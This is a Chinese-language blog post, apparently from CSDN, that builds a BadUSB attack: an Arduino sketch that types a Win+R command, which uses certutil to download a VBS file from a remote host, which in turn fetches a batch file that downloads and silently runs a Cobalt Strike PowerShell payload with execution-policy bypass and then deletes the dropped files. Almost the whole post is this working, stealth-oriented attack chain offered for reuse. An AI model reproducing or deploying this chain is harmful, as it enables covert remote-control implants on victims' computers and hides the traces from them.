![c5c04795f295da6647e68e1d22206225.png](https://i-blog.csdnimg.cn/blog_migrate/c7947f5b3abdc0a56ed930baf0c1c981.png)
![88d164bd76265da6afc4f899e530a3c9.png](https://i-blog.csdnimg.cn/blog_migrate/ea1253af4ec93c7b17b45dbc85ffde33.png)
#0x01 缘由
继上次K师傅的投稿:BadUSB简单免杀一秒上线CobaltStrike
大概执行步骤:WIN+R >> CMD打开POWERSHELL >> POWERSHELL远程执行CobaltStrike生成的PS1文件 >> 主机上线
文中关于CMD打开POWERSHELL这个步骤有了新思路,因为主机上线过后考虑到CMD窗口会一直停留在任务栏,于是和K师傅探讨,最终实现了以VBS文件形式远程下载并执行CobaltStrike生成的PS1文件,来达到后台静默执行的目的。
#0x02 执行效果
#0x03 BadUSB制作
POWERSHELL.ino(arduino烧录文件)
#include void setup() { // putpower shell your setup code here, to run once Keyboard.begin();//开始键盘通讯 delay(1000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(200);Keyboard.press('r');//r键delay(200); Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法Keyboard.release(KEY_CAPS_LOCK);delay(300);Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://0.0.0.0:8888/run.vbs d:\\run.vbs && timeout /t 1 && start /B d:\\run.vbs" ); //无回显//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK);Keyboard.end();//结束键盘通讯 } void loop() { // put your main code here, to run repeatedly: }
解释:
WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS
#0x04 落地文件
RUN.VBS
set ws=WScript.CreateObject("WScript.Shell")ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0
解释:
通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录
静默执行POWERSHELL.BAT
POWERSHELL.BAT
@echo offcertutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1TIMEOUT /T 1start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1del D:\R*.VBS /f /s /qTIMEOUT /T 1del D:\P*.PS1 /f /s /qdel D:\P*.BAT /f /s /qexit
解释:
通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录
考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒
通过powershell后台静默执行POWERSHELL.PS1,至此CS上线
上线后立即删除R开头VBS文件
延时一秒(测试出现powershell执行速度太慢,没上线)
依次删除P开头PS1文件、P开头BAT文件
![ea926281e883c3f459e04be7c1a44c0f.png](https://i-blog.csdnimg.cn/blog_migrate/31bb80c891332f7d319e6aab55979e4d.png)
![2c78694d2447b365c6365c55efe0cb08.png](https://i-blog.csdnimg.cn/blog_migrate/1966eefbbb69bbea8eaf82d014c3b9fd.png)